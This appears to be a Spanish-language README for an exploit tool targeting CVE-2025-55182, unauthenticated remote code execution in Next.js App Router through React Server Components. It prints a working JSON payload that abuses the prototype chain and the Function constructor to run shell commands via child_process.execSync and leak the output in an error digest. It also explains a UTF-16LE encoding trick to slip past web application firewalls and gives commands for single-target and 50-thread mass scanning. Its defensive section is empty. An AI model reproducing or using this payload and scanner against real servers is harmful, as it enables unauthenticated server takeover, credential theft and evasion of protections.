Exploit de prueba de concepto para CVE-2025-55182, que demuestra RCE no autenticado en Next.js App Router mediante inyección de objetos del lado del servidor en React Server Components, con bypass de WAF UTF-16LE.
NextRce es una herramienta de investigación de seguridad que demuestra CVE-2025-55182, una vulnerabilidad crítica en aplicaciones Next.js App Router que utilizan React Server Components (RSC) y Server Actions.
Esta vulnerabilidad permite a un atacante lograr Ejecución Remota de Código (RCE) sin autenticación abusando de cómo Next.js procesa las respuestas de Server Actions y resuelve cargas útiles RSC serializadas en el servidor.
CVE-2025-55182 existe en la arquitectura Next.js App Router y puede clasificarse como un problema de inyección de objetos del lado del servidor / abuso de la cadena de prototipos que ocurre durante el manejo de solicitudes multipart/form-data.
Cuando se activa una Server Action, el servidor Next.js confía y deserializa la entrada estructurada del cliente. Al enviar una carga útil especialmente diseñada, un atacante puede manipular la lógica de resolución interna y ejecutar comandos arbitrarios del sistema en el runtime de Node.js.
La vulnerabilidad surge debido a los siguientes factores combinados:
Modelo de Confianza de Server Actions
Las Server Actions aceptan cargas útiles estructuradas del cliente que se procesan a través de la lógica de resolución interna de React Server Component con validación insuficiente.
Inyección de Objetos Durante la Resolución de RSC
Las cargas útiles diseñadas pueden abusar de las cadenas de prototipos y referencias de constructores de JavaScript, permitiendo escapar del ámbito de objeto previsto.
Sanitización Insuficiente
Campos internos como then, _response y los getters de form-data no están adecuadamente protegidos contra manipulación maliciosa.
Bypass de WAF Basado en Codificación
Muchos Firewalls de Aplicaciones Web se centran en UTF-8 o JSON estándar. Codificar las cargas útiles como UTF-16LE les permite eludir la inspección mientras el servidor Next.js las decodifica correctamente.
El exploit se basa en inyectar una carga útil RSC diseñada dentro de una solicitud multipart.
A continuación se muestra una versión simplificada de la carga útil:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. Secuestro de la Cadena de Prototipos
"then": "$1:__proto__:then"then, interfiriendo en cómo se resuelven las Promesas durante el procesamiento de React Server Component en el runtime de Next.js.2. Escape del Constructor
"_formData": { "get": "$1:constructor:constructor" }Function, habilitando la ejecución de JavaScript arbitrario fuera del sandbox previsto.3. Ejecución Remota de Código
process.mainModule .require('child_process') .execSync('{cmd}')4. Exfiltración de Salida Basada en Digest
throw Object.assign(new Error('x'), { digest: res });5. Bypass de WAF (UTF-16LE)
Content-Type: text/plain; charset=utf-16leLa explotación exitosa de CVE-2025-55182 puede resultar en:
🔥 Ejecución Remota de Código Completa
🗄️ Acceso a datos sensibles y credenciales
🔗 Movimiento lateral dentro de la infraestructura
📦 Compromiso de la cadena de suministro
🚨 Toma completa del servidor
Severidad: Crítica
Autenticación requerida: No
Para protegerse contra CVE-2025-55182:
Objetivo Único
python3 exploit.py -u https://target.com -c "whoami"Escaneo Masivo con Bypass de WAF
python3 exploit.py -l urls.txt -B -t 50Este proyecto se proporciona estrictamente con fines educativos, de investigación y de pruebas de seguridad autorizadas.
NO utilice esta herramienta contra sistemas que no posea o para los que no tenga permiso explícito para realizar pruebas.
El autor no asume ninguna responsabilidad por el uso indebido.